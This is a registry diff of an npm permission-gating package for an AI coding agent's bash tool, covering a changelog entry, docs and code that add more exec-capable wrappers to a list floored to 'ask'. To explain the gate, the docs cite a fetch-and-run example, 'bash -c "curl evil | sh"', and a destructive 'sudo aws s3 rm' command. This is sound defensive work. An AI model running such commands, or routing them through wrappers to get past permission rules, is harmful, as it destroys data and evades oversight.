@gotgenes/pi-permission-system 20.7.1 → 20.7.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,18 @@ All notable changes to this project will be documented in this file.
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
7
7
|
|
|
8
|
+
## [20.7.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.7.1...pi-permission-system-v20.7.2) (2026-07-14)
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
### Bug Fixes
|
|
12
|
+
|
|
13
|
+
* **pi-permission-system:** floor additional exec-capable indirection wrappers ([#575](https://github.com/gotgenes/pi-packages/issues/575)) ([abddb7b](https://github.com/gotgenes/pi-packages/commit/abddb7b70077cef7fc12f3eea75ce6f38de6006f))
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
### Documentation
|
|
17
|
+
|
|
18
|
+
* **pi-permission-system:** record exec-capable wrapper survey and mark Phase 11 Step 6 complete ([#575](https://github.com/gotgenes/pi-packages/issues/575)) ([6485246](https://github.com/gotgenes/pi-packages/commit/6485246577ec1cba992275b983809a1fcb30be2c))
|
|
19
|
+
|
|
8
20
|
## [20.7.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.7.0...pi-permission-system-v20.7.1) (2026-07-14)
|
|
9
21
|
|
|
10
22
|
|
package/docs/configuration.md
CHANGED
|
@@ -326,7 +326,7 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
|
|
|
326
326
|
- An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
|
|
327
327
|
An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
|
|
328
328
|
So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
|
|
329
|
-
- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
|
|
329
|
+
- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
|
|
330
330
|
So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
|
|
331
331
|
As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
|
|
332
332
|
|
package/package.json
CHANGED
|
@@ -166,6 +166,17 @@ const INDIRECTION_WRAPPER_NAMES = new Set([
|
|
|
166
166
|
"nohup",
|
|
167
167
|
"timeout",
|
|
168
168
|
"nice",
|
|
169
|
+
// Exec-capable rewrites and prefix wrappers surveyed in #575: parallelizers
|
|
170
|
+
// (parallel/rust-parallel/rush), a sudo rewrite (doas), and prefix wrappers
|
|
171
|
+
// (setsid/stdbuf/watch/flock) that all always invoke a following command.
|
|
172
|
+
"parallel",
|
|
173
|
+
"rust-parallel",
|
|
174
|
+
"rush",
|
|
175
|
+
"doas",
|
|
176
|
+
"setsid",
|
|
177
|
+
"stdbuf",
|
|
178
|
+
"watch",
|
|
179
|
+
"flock",
|
|
169
180
|
]);
|
|
170
181
|
|
|
171
182
|
/**
|
|
@@ -21,24 +21,6 @@ export function normalizeFilesystemPath(
|
|
|
21
21
|
return flavor.fold(flavor.impl.normalize(pathValue));
|
|
22
22
|
}
|
|
23
23
|
|
|
24
|
-
function isPathWithinDirectoryForSubagent(
|
|
25
|
-
pathValue: string,
|
|
26
|
-
directory: string,
|
|
27
|
-
flavor: PathFlavor,
|
|
28
|
-
): boolean {
|
|
29
|
-
if (!pathValue || !directory) {
|
|
30
|
-
return false;
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
if (pathValue === directory) {
|
|
34
|
-
return true;
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
const sep = flavor.impl.sep;
|
|
38
|
-
const prefix = directory.endsWith(sep) ? directory : `${directory}${sep}`;
|
|
39
|
-
return pathValue.startsWith(prefix);
|
|
40
|
-
}
|
|
41
|
-
|
|
42
24
|
/**
|
|
43
25
|
* Return `true` when `ctx` belongs to an in-process subagent child registered
|
|
44
26
|
* in `registry` by its session id.
|
|
@@ -101,9 +83,5 @@ export function isSubagentExecutionContext(
|
|
|
101
83
|
subagentSessionsDir,
|
|
102
84
|
flavor,
|
|
103
85
|
);
|
|
104
|
-
return
|
|
105
|
-
normalizedSessionDir,
|
|
106
|
-
normalizedSubagentRoot,
|
|
107
|
-
flavor,
|
|
108
|
-
);
|
|
86
|
+
return flavor.isWithin(normalizedSessionDir, normalizedSubagentRoot);
|
|
109
87
|
}
|